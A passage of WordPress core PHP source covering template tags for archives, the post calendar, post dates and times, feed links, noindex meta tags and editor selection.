978 } else {
979 $arcresults = $cache[ $key ];
980 }
981 if ( $arcresults ) {
982 $afterafter = $after;
983 foreach ( (array) $arcresults as $arcresult ) {
984 $url = get_day_link($arcresult->year, $arcresult->month, $arcresult->dayofmonth);
985 $date = sprintf('%1$d-%2$02d-%3$02d 00:00:00', $arcresult->year, $arcresult->month, $arcresult->dayofmonth);
986 $text = mysql2date($archive_day_date_format, $date);
987 if ($show_post_count)
988 $after = ' ('.$arcresult->posts.')'.$afterafter;
989 $output .= get_archives_link($url, $text, $format, $before, $after);
990 }
991 }
992 } elseif ( 'weekly' == $type ) {
993 $week = _wp_mysql_week( '`post_date`' );
994 $query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";
995 $key = md5($query);
996 $cache = wp_cache_get( 'wp_get_archives' , 'general');
997 if ( !isset( $cache[ $key ] ) ) {
998 $arcresults = $wpdb->get_results($query);
999 $cache[ $key ] = $arcresults;
1000 wp_cache_set( 'wp_get_archives', $cache, 'general' );
1001 } else {
1002 $arcresults = $cache[ $key ];
1003 }
1004 $arc_w_last = '';
1005 $afterafter = $after;
1006 if ( $arcresults ) {
1007 foreach ( (array) $arcresults as $arcresult ) {
1008 if ( $arcresult->week != $arc_w_last ) {
1009 $arc_year = $arcresult->yr;
1010 $arc_w_last = $arcresult->week;
1011 $arc_week = get_weekstartend($arcresult->yyyymmdd, get_option('start_of_week'));
1012 $arc_week_start = date_i18n($archive_week_start_date_format, $arc_week['start']);
1013 $arc_week_end = date_i18n($archive_week_end_date_format, $arc_week['end']);
1014 $url = sprintf('%1$s/%2$s%3$sm%4$s%5$s%6$sw%7$s%8$d', home_url(), '', '?', '=', $arc_year, '&', '=', $arcresult->week);
1015 $text = $arc_week_start . $archive_week_separator . $arc_week_end;
1016 if ($show_post_count)
1017 $after = ' ('.$arcresult->posts.')'.$afterafter;
1018 $output .= get_archives_link($url, $text, $format, $before, $after);
1019 }
1020 }
1021 }
1022 } elseif ( ( 'postbypost' == $type ) || ('alpha' == $type) ) {
1023 $orderby = ('alpha' == $type) ? 'post_title ASC ' : 'post_date DESC ';
1024 $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
1025 $key = md5($query);
1026 $cache = wp_cache_get( 'wp_get_archives' , 'general');
1027 if ( !isset( $cache[ $key ] ) ) {
1028 $arcresults = $wpdb->get_results($query);
1029 $cache[ $key ] = $arcresults;
1030 wp_cache_set( 'wp_get_archives', $cache, 'general' );
1031 } else {
1032 $arcresults = $cache[ $key ];
1033 }
1034 if ( $arcresults ) {
1035 foreach ( (array) $arcresults as $arcresult ) {
1036 if ( $arcresult->post_date != '0000-00-00 00:00:00' ) {
1037 $url = get_permalink( $arcresult );
1038 if ( $arcresult->post_title )
1039 $text = strip_tags( apply_filters( 'the_title', $arcresult->post_title, $arcresult->ID ) );
1040 else
1041 $text = $arcresult->ID;
1042 $output .= get_archives_link($url, $text, $format, $before, $after);
1043 }
1044 }
1045 }
1046 }
1047 if ( $echo )
1048 echo $output;
1049 else
1050 return $output;
1051}
1052
1053/**
1054 * Get number of days since the start of the week.
1055 *
1056 * @since 1.5.0
1057 *
1058 * @param int $num Number of day.
1059 * @return int Days since the start of the week.
1060 */
1061function calendar_week_mod($num) {
1062 $base = 7;
1063 return ($num - $base*floor($num/$base));
1064}
1065
1066/**
1067 * Display calendar with days that have posts as links.
1068 *
1069 * The calendar is cached, which will be retrieved, if it exists. If there are
1070 * no posts for the month, then it will not be displayed.
1071 *
1072 * @since 1.0.0
1073 * @uses calendar_week_mod()
1074 *
1075 * @param bool $initial Optional, default is true. Use initial calendar names.
1076 * @param bool $echo Optional, default is true. Set to false for return.
1077 * @return string|null String when retrieving, null when displaying.
1078 */
1079function get_calendar($initial = true, $echo = true) {
1080 global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;
1081
1082 $cache = array();
1083 $key = md5( $m . $monthnum . $year );
1084 if ( $cache = wp_cache_get( 'get_calendar', 'calendar' ) ) {
1085 if ( is_array($cache) && isset( $cache[ $key ] ) ) {
1086 if ( $echo ) {
1087 echo apply_filters( 'get_calendar', $cache[$key] );
1088 return;
1089 } else {
1090 return apply_filters( 'get_calendar', $cache[$key] );
1091 }
1092 }
1093 }
1094
1095 if ( !is_array($cache) )
1096 $cache = array();
1097
1098 // Quick check. If we have no posts at all, abort!
1099 if ( !$posts ) {
1100 $gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1");
1101 if ( !$gotsome ) {
1102 $cache[ $key ] = '';
1103 wp_cache_set( 'get_calendar', $cache, 'calendar' );
1104 return;
1105 }
1106 }
1107
1108 if ( isset($_GET['w']) )
1109 $w = ''.intval($_GET['w']);
1110
1111 // week_begins = 0 stands for Sunday
1112 $week_begins = intval(get_option('start_of_week'));
1113
1114 // Let's figure out when we are
1115 if ( !empty($monthnum) && !empty($year) ) {
1116 $thismonth = ''.zeroise(intval($monthnum), 2);
1117 $thisyear = ''.intval($year);
1118 } elseif ( !empty($w) ) {
1119 // We need to get the month from MySQL
1120 $thisyear = ''.intval(substr($m, 0, 4));
1121 $d = (($w - 1) * 7) + 6; //it seems MySQL's weeks disagree with PHP's
1122 $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')");
1123 } elseif ( !empty($m) ) {
1124 $thisyear = ''.intval(substr($m, 0, 4));
1125 if ( strlen($m) < 6 )
1126 $thismonth = '01';
1127 else
1128 $thismonth = ''.zeroise(intval(substr($m, 4, 2)), 2);
1129 } else {
1130 $thisyear = gmdate('Y', current_time('timestamp'));
1131 $thismonth = gmdate('m', current_time('timestamp'));
1132 }
1133
1134 $unixmonth = mktime(0, 0 , 0, $thismonth, 1, $thisyear);
1135 $last_day = date('t', $unixmonth);
1136
1137 // Get the next and previous month and year with at least one post
1138 $previous = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1139 FROM $wpdb->posts
1140 WHERE post_date < '$thisyear-$thismonth-01'
1141 AND post_type = 'post' AND post_status = 'publish'
1142 ORDER BY post_date DESC
1143 LIMIT 1");
1144 $next = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1145 FROM $wpdb->posts
1146 WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59'
1147 AND post_type = 'post' AND post_status = 'publish'
1148 ORDER BY post_date ASC
1149 LIMIT 1");
1150
1151 /* translators: Calendar caption: 1: month name, 2: 4-digit year */
1152 $calendar_caption = _x('%1$s %2$s', 'calendar caption');
1153 $calendar_output = '<table id="wp-calendar">
1154 <caption>' . sprintf($calendar_caption, $wp_locale->get_month($thismonth), date('Y', $unixmonth)) . '</caption>
1155 <thead>
1156 <tr>';
1157
1158 $myweek = array();
1159
1160 for ( $wdcount=0; $wdcount<=6; $wdcount++ ) {
1161 $myweek[] = $wp_locale->get_weekday(($wdcount+$week_begins)%7);
1162 }
1163
1164 foreach ( $myweek as $wd ) {
1165 $day_name = (true == $initial) ? $wp_locale->get_weekday_initial($wd) : $wp_locale->get_weekday_abbrev($wd);
1166 $wd = esc_attr($wd);
1167 $calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>";
1168 }
1169
1170 $calendar_output .= '
1171 </tr>
1172 </thead>
1173
1174 <tfoot>
1175 <tr>';
1176
1177 if ( $previous ) {
1178 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_month_link($previous->year, $previous->month) . '" title="' . esc_attr( sprintf(__('View posts for %1$s %2$s'), $wp_locale->get_month($previous->month), date('Y', mktime(0, 0 , 0, $previous->month, 1, $previous->year)))) . '">« ' . $wp_locale->get_month_abbrev($wp_locale->get_month($previous->month)) . '</a></td>';
1179 } else {
1180 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad"> </td>';
1181 }
1182
1183 $calendar_output .= "\n\t\t".'<td class="pad"> </td>';
1184
1185 if ( $next ) {
1186 $calendar_output .= "\n\t\t".'<td colspan="3" id="next"><a href="' . get_month_link($next->year, $next->month) . '" title="' . esc_attr( sprintf(__('View posts for %1$s %2$s'), $wp_locale->get_month($next->month), date('Y', mktime(0, 0 , 0, $next->month, 1, $next->year))) ) . '">' . $wp_locale->get_month_abbrev($wp_locale->get_month($next->month)) . ' »</a></td>';
1187 } else {
1188 $calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad"> </td>';
1189 }
1190
1191 $calendar_output .= '
1192 </tr>
1193 </tfoot>
1194
1195 <tbody>
1196 <tr>';
1197
1198 // Get days with posts
1199 $dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
1200 FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00'
1201 AND post_type = 'post' AND post_status = 'publish'
1202 AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N);
1203 if ( $dayswithposts ) {
1204 foreach ( (array) $dayswithposts as $daywith ) {
1205 $daywithpost[] = $daywith[0];
1206 }
1207 } else {
1208 $daywithpost = array();
1209 }
1210
1211 if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false || stripos($_SERVER['HTTP_USER_AGENT'], 'camino') !== false || stripos($_SERVER['HTTP_USER_AGENT'], 'safari') !== false)
1212 $ak_title_separator = "\n";
1213 else
1214 $ak_title_separator = ', ';
1215
1216 $ak_titles_for_day = array();
1217 $ak_post_titles = $wpdb->get_results("SELECT ID, post_title, DAYOFMONTH(post_date) as dom "
1218 ."FROM $wpdb->posts "
1219 ."WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00' "
1220 ."AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59' "
1221 ."AND post_type = 'post' AND post_status = 'publish'"
1222 );
1223 if ( $ak_post_titles ) {
1224 foreach ( (array) $ak_post_titles as $ak_post_title ) {
1225
1226 $post_title = esc_attr( apply_filters( 'the_title', $ak_post_title->post_title, $ak_post_title->ID ) );
1227
1228 if ( empty($ak_titles_for_day['day_'.$ak_post_title->dom]) )
1229 $ak_titles_for_day['day_'.$ak_post_title->dom] = '';
1230 if ( empty($ak_titles_for_day["$ak_post_title->dom"]) ) // first one
1231 $ak_titles_for_day["$ak_post_title->dom"] = $post_title;
1232 else
1233 $ak_titles_for_day["$ak_post_title->dom"] .= $ak_title_separator . $post_title;
1234 }
1235 }
1236
1237 // See how much we should pad in the beginning
1238 $pad = calendar_week_mod(date('w', $unixmonth)-$week_begins);
1239 if ( 0 != $pad )
1240 $calendar_output .= "\n\t\t".'<td colspan="'. esc_attr($pad) .'" class="pad"> </td>';
1241
1242 $daysinmonth = intval(date('t', $unixmonth));
1243 for ( $day = 1; $day <= $daysinmonth; ++$day ) {
1244 if ( isset($newrow) && $newrow )
1245 $calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";
1246 $newrow = false;
1247
1248 if ( $day == gmdate('j', current_time('timestamp')) && $thismonth == gmdate('m', current_time('timestamp')) && $thisyear == gmdate('Y', current_time('timestamp')) )
1249 $calendar_output .= '<td id="today">';
1250 else
1251 $calendar_output .= '<td>';
1252
1253 if ( in_array($day, $daywithpost) ) // any posts today?
1254 $calendar_output .= '<a href="' . get_day_link( $thisyear, $thismonth, $day ) . '" title="' . esc_attr( $ak_titles_for_day[ $day ] ) . "\">$day</a>";
1255 else
1256 $calendar_output .= $day;
1257 $calendar_output .= '</td>';
1258
1259 if ( 6 == calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins) )
1260 $newrow = true;
1261 }
1262
1263 $pad = 7 - calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins);
1264 if ( $pad != 0 && $pad != 7 )
1265 $calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr($pad) .'"> </td>';
1266
1267 $calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</table>";
1268
1269 $cache[ $key ] = $calendar_output;
1270 wp_cache_set( 'get_calendar', $cache, 'calendar' );
1271
1272 if ( $echo )
1273 echo apply_filters( 'get_calendar', $calendar_output );
1274 else
1275 return apply_filters( 'get_calendar', $calendar_output );
1276
1277}
1278
1279/**
1280 * Purge the cached results of get_calendar.
1281 *
1282 * @see get_calendar
1283 * @since 2.1.0
1284 */
1285function delete_get_calendar_cache() {
1286 wp_cache_delete( 'get_calendar', 'calendar' );
1287}
1288add_action( 'save_post', 'delete_get_calendar_cache' );
1289add_action( 'delete_post', 'delete_get_calendar_cache' );
1290add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' );
1291add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' );
1292
1293/**
1294 * Display all of the allowed tags in HTML format with attributes.
1295 *
1296 * This is useful for displaying in the comment area, which elements and
1297 * attributes are supported. As well as any plugins which want to display it.
1298 *
1299 * @since 1.0.1
1300 * @uses $allowedtags
1301 *
1302 * @return string HTML allowed tags entity encoded.
1303 */
1304function allowed_tags() {
1305 global $allowedtags;
1306 $allowed = '';
1307 foreach ( (array) $allowedtags as $tag => $attributes ) {
1308 $allowed .= '<'.$tag;
1309 if ( 0 < count($attributes) ) {
1310 foreach ( $attributes as $attribute => $limits ) {
1311 $allowed .= ' '.$attribute.'=""';
1312 }
1313 }
1314 $allowed .= '> ';
1315 }
1316 return htmlentities($allowed);
1317}
1318
1319/***** Date/Time tags *****/
1320
1321/**
1322 * Outputs the date in iso8601 format for xml files.
1323 *
1324 * @since 1.0.0
1325 */
1326function the_date_xml() {
1327 echo mysql2date( 'Y-m-d', get_post()->post_date, false );
1328}
1329
1330/**
1331 * Display or Retrieve the date the current $post was written (once per date)
1332 *
1333 * Will only output the date if the current post's date is different from the
1334 * previous one output.
1335 *
1336 * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the
1337 * function is called several times for each post.
1338 *
1339 * HTML output can be filtered with 'the_date'.
1340 * Date string output can be filtered with 'get_the_date'.
1341 *
1342 * @since 0.71
1343 * @uses get_the_date()
1344 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
1345 * @param string $before Optional. Output before the date.
1346 * @param string $after Optional. Output after the date.
1347 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
1348 * @return string|null Null if displaying, string if retrieving.
1349 */
1350function the_date( $d = '', $before = '', $after = '', $echo = true ) {
1351 global $currentday, $previousday;
1352 $the_date = '';
1353 if ( $currentday != $previousday ) {
1354 $the_date .= $before;
1355 $the_date .= get_the_date( $d );
1356 $the_date .= $after;
1357 $previousday = $currentday;
1358
1359 $the_date = apply_filters('the_date', $the_date, $d, $before, $after);
1360
1361 if ( $echo )
1362 echo $the_date;
1363 else
1364 return $the_date;
1365 }
1366
1367 return null;
1368}
1369
1370/**
1371 * Retrieve the date the current $post was written.
1372 *
1373 * Unlike the_date() this function will always return the date.
1374 * Modify output with 'get_the_date' filter.
1375 *
1376 * @since 3.0.0
1377 *
1378 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
1379 * @return string|null Null if displaying, string if retrieving.
1380 */
1381function get_the_date( $d = '' ) {
1382 $post = get_post();
1383 $the_date = '';
1384
1385 if ( '' == $d )
1386 $the_date .= mysql2date(get_option('date_format'), $post->post_date);
1387 else
1388 $the_date .= mysql2date($d, $post->post_date);
1389
1390 return apply_filters('get_the_date', $the_date, $d);
1391}
1392
1393/**
1394 * Display the date on which the post was last modified.
1395 *
1396 * @since 2.1.0
1397 *
1398 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
1399 * @param string $before Optional. Output before the date.
1400 * @param string $after Optional. Output after the date.
1401 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
1402 * @return string|null Null if displaying, string if retrieving.
1403 */
1404function the_modified_date($d = '', $before='', $after='', $echo = true) {
1405
1406 $the_modified_date = $before . get_the_modified_date($d) . $after;
1407 $the_modified_date = apply_filters('the_modified_date', $the_modified_date, $d, $before, $after);
1408
1409 if ( $echo )
1410 echo $the_modified_date;
1411 else
1412 return $the_modified_date;
1413
1414}
1415
1416/**
1417 * Retrieve the date on which the post was last modified.
1418 *
1419 * @since 2.1.0
1420 *
1421 * @param string $d Optional. PHP date format. Defaults to the "date_format" option
1422 * @return string
1423 */
1424function get_the_modified_date($d = '') {
1425 if ( '' == $d )
1426 $the_time = get_post_modified_time(get_option('date_format'), null, null, true);
1427 else
1428 $the_time = get_post_modified_time($d, null, null, true);
1429 return apply_filters('get_the_modified_date', $the_time, $d);
1430}
1431
1432/**
1433 * Display the time at which the post was written.
1434 *
1435 * @since 0.71
1436 *
1437 * @param string $d Either 'G', 'U', or php date format.
1438 */
1439function the_time( $d = '' ) {
1440 echo apply_filters('the_time', get_the_time( $d ), $d);
1441}
1442
1443/**
1444 * Retrieve the time at which the post was written.
1445 *
1446 * @since 1.5.0
1447 *
1448 * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
1449 * @param int|object $post Optional post ID or object. Default is global $post object.
1450 * @return string
1451 */
1452function get_the_time( $d = '', $post = null ) {
1453 $post = get_post($post);
1454
1455 if ( '' == $d )
1456 $the_time = get_post_time(get_option('time_format'), false, $post, true);
1457 else
1458 $the_time = get_post_time($d, false, $post, true);
1459 return apply_filters('get_the_time', $the_time, $d, $post);
1460}
1461
1462/**
1463 * Retrieve the time at which the post was written.
1464 *
1465 * @since 2.0.0
1466 *
1467 * @param string $d Optional Either 'G', 'U', or php date format.
1468 * @param bool $gmt Optional, default is false. Whether to return the gmt time.
1469 * @param int|object $post Optional post ID or object. Default is global $post object.
1470 * @param bool $translate Whether to translate the time string
1471 * @return string
1472 */
1473function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) { // returns timestamp
1474 $post = get_post($post);
1475
1476 if ( $gmt )
1477 $time = $post->post_date_gmt;
1478 else
1479 $time = $post->post_date;
1480
1481 $time = mysql2date($d, $time, $translate);
1482 return apply_filters('get_post_time', $time, $d, $gmt);
1483}
1484
1485/**
1486 * Display the time at which the post was last modified.
1487 *
1488 * @since 2.0.0
1489 *
1490 * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
1491 */
1492function the_modified_time($d = '') {
1493 echo apply_filters('the_modified_time', get_the_modified_time($d), $d);
1494}
1495
1496/**
1497 * Retrieve the time at which the post was last modified.
1498 *
1499 * @since 2.0.0
1500 *
1501 * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
1502 * @return string
1503 */
1504function get_the_modified_time($d = '') {
1505 if ( '' == $d )
1506 $the_time = get_post_modified_time(get_option('time_format'), null, null, true);
1507 else
1508 $the_time = get_post_modified_time($d, null, null, true);
1509 return apply_filters('get_the_modified_time', $the_time, $d);
1510}
1511
1512/**
1513 * Retrieve the time at which the post was last modified.
1514 *
1515 * @since 2.0.0
1516 *
1517 * @param string $d Optional, default is 'U'. Either 'G', 'U', or php date format.
1518 * @param bool $gmt Optional, default is false. Whether to return the gmt time.
1519 * @param int|object $post Optional, default is global post object. A post_id or post object
1520 * @param bool $translate Optional, default is false. Whether to translate the result
1521 * @return string Returns timestamp
1522 */
1523function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
1524 $post = get_post($post);
1525
1526 if ( $gmt )
1527 $time = $post->post_modified_gmt;
1528 else
1529 $time = $post->post_modified;
1530 $time = mysql2date($d, $time, $translate);
1531
1532 return apply_filters('get_post_modified_time', $time, $d, $gmt);
1533}
1534
1535/**
1536 * Display the weekday on which the post was written.
1537 *
1538 * @since 0.71
1539 * @uses $wp_locale
1540 * @uses $post
1541 */
1542function the_weekday() {
1543 global $wp_locale;
1544 $the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
1545 $the_weekday = apply_filters('the_weekday', $the_weekday);
1546 echo $the_weekday;
1547}
1548
1549/**
1550 * Display the weekday on which the post was written.
1551 *
1552 * Will only output the weekday if the current post's weekday is different from
1553 * the previous one output.
1554 *
1555 * @since 0.71
1556 *
1557 * @param string $before Optional Output before the date.
1558 * @param string $after Optional Output after the date.
1559 */
1560function the_weekday_date($before='',$after='') {
1561 global $wp_locale, $day, $previousweekday;
1562 $the_weekday_date = '';
1563 if ( $currentday != $previousweekday ) {
1564 $the_weekday_date .= $before;
1565 $the_weekday_date .= $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
1566 $the_weekday_date .= $after;
1567 $previousweekday = $currentday;
1568 }
1569 $the_weekday_date = apply_filters('the_weekday_date', $the_weekday_date, $before, $after);
1570 echo $the_weekday_date;
1571}
1572
1573/**
1574 * Fire the wp_head action
1575 *
1576 * @since 1.2.0
1577 * @uses do_action() Calls 'wp_head' hook.
1578 */
1579function wp_head() {
1580 do_action('wp_head');
1581}
1582
1583/**
1584 * Fire the wp_footer action
1585 *
1586 * @since 1.5.1
1587 * @uses do_action() Calls 'wp_footer' hook.
1588 */
1589function wp_footer() {
1590 do_action('wp_footer');
1591}
1592
1593/**
1594 * Display the links to the general feeds.
1595 *
1596 * @since 2.8.0
1597 *
1598 * @param array $args Optional arguments.
1599 */
1600function feed_links( $args = array() ) {
1601 if ( !current_theme_supports('automatic-feed-links') )
1602 return;
1603
1604 $defaults = array(
1605 /* translators: Separator between blog name and feed type in feed links */
1606 'separator' => _x('»', 'feed link'),
1607 /* translators: 1: blog title, 2: separator (raquo) */
1608 'feedtitle' => __('%1$s %2$s Feed'),
1609 /* translators: %s: blog title, 2: separator (raquo) */
1610 'comstitle' => __('%1$s %2$s Comments Feed'),
1611 );
1612
1613 $args = wp_parse_args( $args, $defaults );
1614
1615 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr(sprintf( $args['feedtitle'], get_bloginfo('name'), $args['separator'] )) . '" href="' . get_feed_link() . "\" />\n";
1616 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr(sprintf( $args['comstitle'], get_bloginfo('name'), $args['separator'] )) . '" href="' . get_feed_link( 'comments_' . get_default_feed() ) . "\" />\n";
1617}
1618
1619/**
1620 * Display the links to the extra feeds such as category feeds.
1621 *
1622 * @since 2.8.0
1623 *
1624 * @param array $args Optional arguments.
1625 */
1626function feed_links_extra( $args = array() ) {
1627 $defaults = array(
1628 /* translators: Separator between blog name and feed type in feed links */
1629 'separator' => _x('»', 'feed link'),
1630 /* translators: 1: blog name, 2: separator(raquo), 3: post title */
1631 'singletitle' => __('%1$s %2$s %3$s Comments Feed'),
1632 /* translators: 1: blog name, 2: separator(raquo), 3: category name */
1633 'cattitle' => __('%1$s %2$s %3$s Category Feed'),
1634 /* translators: 1: blog name, 2: separator(raquo), 3: tag name */
1635 'tagtitle' => __('%1$s %2$s %3$s Tag Feed'),
1636 /* translators: 1: blog name, 2: separator(raquo), 3: author name */
1637 'authortitle' => __('%1$s %2$s Posts by %3$s Feed'),
1638 /* translators: 1: blog name, 2: separator(raquo), 3: search phrase */
1639 'searchtitle' => __('%1$s %2$s Search Results for “%3$s” Feed'),
1640 /* translators: 1: blog name, 2: separator(raquo), 3: post type name */
1641 'posttypetitle' => __('%1$s %2$s %3$s Feed'),
1642 );
1643
1644 $args = wp_parse_args( $args, $defaults );
1645
1646 if ( is_single() || is_page() ) {
1647 $id = 0;
1648 $post = get_post( $id );
1649
1650 if ( comments_open() || pings_open() || $post->comment_count > 0 ) {
1651 $title = sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], esc_html( get_the_title() ) );
1652 $href = get_post_comments_feed_link( $post->ID );
1653 }
1654 } elseif ( is_category() ) {
1655 $term = get_queried_object();
1656
1657 $title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $term->name );
1658 $href = get_category_feed_link( $term->term_id );
1659 } elseif ( is_tag() ) {
1660 $term = get_queried_object();
1661
1662 $title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name );
1663 $href = get_tag_feed_link( $term->term_id );
1664 } elseif ( is_author() ) {
1665 $author_id = intval( get_query_var('author') );
1666
1667 $title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) );
1668 $href = get_author_feed_link( $author_id );
1669 } elseif ( is_search() ) {
1670 $title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) );
1671 $href = get_search_feed_link();
1672 } elseif ( is_post_type_archive() ) {
1673 $title = sprintf( $args['posttypetitle'], get_bloginfo('name'), $args['separator'], post_type_archive_title( '', false ) );
1674 $href = get_post_type_archive_feed_link( get_queried_object()->name );
1675 }
1676
1677 if ( isset($title) && isset($href) )
1678 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n";
1679}
1680
1681/**
1682 * Display the link to the Really Simple Discovery service endpoint.
1683 *
1684 * @link http://archipelago.phrasewise.com/rsd
1685 * @since 2.0.0
1686 */
1687function rsd_link() {
1688 echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . get_bloginfo('wpurl') . "/xmlrpc.php?rsd\" />\n";
1689}
1690
1691/**
1692 * Display the link to the Windows Live Writer manifest file.
1693 *
1694 * @link http://msdn.microsoft.com/en-us/library/bb463265.aspx
1695 * @since 2.3.1
1696 */
1697function wlwmanifest_link() {
1698 echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="'
1699 . get_bloginfo('wpurl') . '/wp-includes/wlwmanifest.xml" /> ' . "\n";
1700}
1701
1702/**
1703 * Display a noindex meta tag if required by the blog configuration.
1704 *
1705 * If a blog is marked as not being public then the noindex meta tag will be
1706 * output to tell web robots not to index the page content. Add this to the wp_head action.
1707 * Typical usage is as a wp_head callback. add_action( 'wp_head', 'noindex' );
1708 *
1709 * @see wp_no_robots
1710 *
1711 * @since 2.1.0
1712 */
1713function noindex() {
1714 // If the blog is not public, tell robots to go away.
1715 if ( '0' == get_option('blog_public') )
1716 wp_no_robots();
1717}
1718
1719/**
1720 * Display a noindex meta tag.
1721 *
1722 * Outputs a noindex meta tag that tells web robots not to index the page content.
1723 * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' );
1724 *
1725 * @since 3.3.0
1726 */
1727function wp_no_robots() {
1728 echo "<meta name='robots' content='noindex,nofollow' />\n";
1729}
1730
1731/**
1732 * Determine if TinyMCE is available.
1733 *
1734 * Checks to see if the user has deleted the tinymce files to slim down there WordPress install.
1735 *
1736 * @since 2.1.0
1737 *
1738 * @return bool Whether TinyMCE exists.
1739 */
1740function rich_edit_exists() {
1741 global $wp_rich_edit_exists;
1742 if ( !isset($wp_rich_edit_exists) )
1743 $wp_rich_edit_exists = file_exists(ABSPATH . WPINC . '/js/tinymce/tiny_mce.js');
1744 return $wp_rich_edit_exists;
1745}
1746
1747/**
1748 * Whether the user should have a WYSIWIG editor.
1749 *
1750 * Checks that the user requires a WYSIWIG editor and that the editor is
1751 * supported in the users browser.
1752 *
1753 * @since 2.0.0
1754 *
1755 * @return bool
1756 */
1757function user_can_richedit() {
1758 global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE;
1759
1760 if ( !isset($wp_rich_edit) ) {
1761 $wp_rich_edit = false;
1762
1763 if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { // default to 'true' for logged out users
1764 if ( $is_safari ) {
1765 $wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 );
1766 } elseif ( $is_gecko || $is_chrome || $is_IE || ( $is_opera && !wp_is_mobile() ) ) {
1767 $wp_rich_edit = true;
1768 }
1769 }
1770 }
1771
1772 return apply_filters('user_can_richedit', $wp_rich_edit);
1773}
1774
1775/**
1776 * Find out which editor should be displayed by default.
1777 *
1778 * Works out which of the two editors to display as the current editor for a
1779 * user. The 'html' setting is for the "Text" editor tab.
1780 *
1781 * @since 2.5.0
1782 *
1783 * @return string Either 'tinymce', or 'html', or 'test'
1784 */
1785function wp_default_editor() {
1786 $r = user_can_richedit() ? 'tinymce' : 'html'; // defaults
1787 if ( $user = wp_get_current_user() ) { // look for cookie
1788 $ed = get_user_setting('editor', 'tinymce');
1789 $r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r;
1790 }
1791 return apply_filters( 'wp_default_editor', $r ); // filter
1792}
1793
1794/**
1795 * Renders an editor.
1796 *
1797 * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags.
1798 * _WP_Editors should not be used directly. See http://core.trac.wordpress.org/ticket/17144.
1799 *
1800 * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason
1801 * running wp_editor() inside of a metabox is not a good idea unless only Quicktags is used.
1802 * On the post edit screen several actions can be used to include additional editors
1803 * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'.
1804 * See http://core.trac.wordpress.org/ticket/19173 for more information.
1805 *
1806 * @see wp-includes/class-wp-editor.php
1807 * @since 3.3.0
1808 *
1809 * @param string $content Initial content for the editor.
1810 * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. Can only be /[a-z]+/.
1811 * @param array $settings See _WP_Editors::editor().
1812 */
1813function wp_editor( $content, $editor_id, $settings = array() ) {
1814 if ( ! class_exists( '_WP_Editors' ) )
1815 require( ABSPATH . WPINC . '/class-wp-editor.php' );
1816
1817 _WP_Editors::editor($content, $editor_id, $settings);
1818}
1819
